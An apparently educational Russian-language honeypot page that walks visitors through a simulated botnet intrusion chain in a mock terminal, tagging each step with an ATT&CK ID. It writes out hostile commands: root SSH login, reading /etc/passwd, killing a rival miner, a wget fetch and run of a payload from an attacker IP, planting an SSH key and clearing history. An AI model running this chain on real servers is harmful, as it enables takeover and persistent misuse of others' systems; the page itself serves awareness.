ogurexxx@root:~$ ./be-the-botnet.sh

Побудь хакером

Пройдите ту же цепочку, что боты проходят в ловушке на этом сервере. Терминал учебный: всё происходит в вашем браузере, никакие команды не выполняются и никуда не отправляются.

1. ssh root@srv-backup01 — Боты перебирают самые частые пароли. Входите: пароль уже подобран. (T1110.001)
2. uname -a — Первым делом бот узнаёт, что за система: от этого зависит, какую программу качать. (T1082)
3. cat /etc/passwd — Посмотрим, какие ещё учётные записи здесь есть. (T1003.008)
4. ps aux — Нет ли тут уже чужого майнера? Боты часто выгоняют конкурентов. (T1057)
5. kill -9 977 — Конкурент занимает 91% процессора. Убираем его. (T1489)
6. wget http://203.0.113.7/x.sh — Теперь загружаем свою программу с сервера злоумышленника. (T1105)
7. chmod +x x.sh — Делаем файл исполняемым. (T1222.002)
8. ./x.sh — Запускаем: с этой минуты сервер работает на чужого человека. (T1059.004)
9. echo "ssh-rsa AAAA" >> ~/.ssh/authorized_keys — Оставляем свой ключ: теперь можно вернуться, даже если пароль сменят. (T1098.004)
10. history -c — Заметаем следы. Цепочка окончена. (T1070.003)

Как это выглядит у настоящих ботов — Прямой эфир ловушки.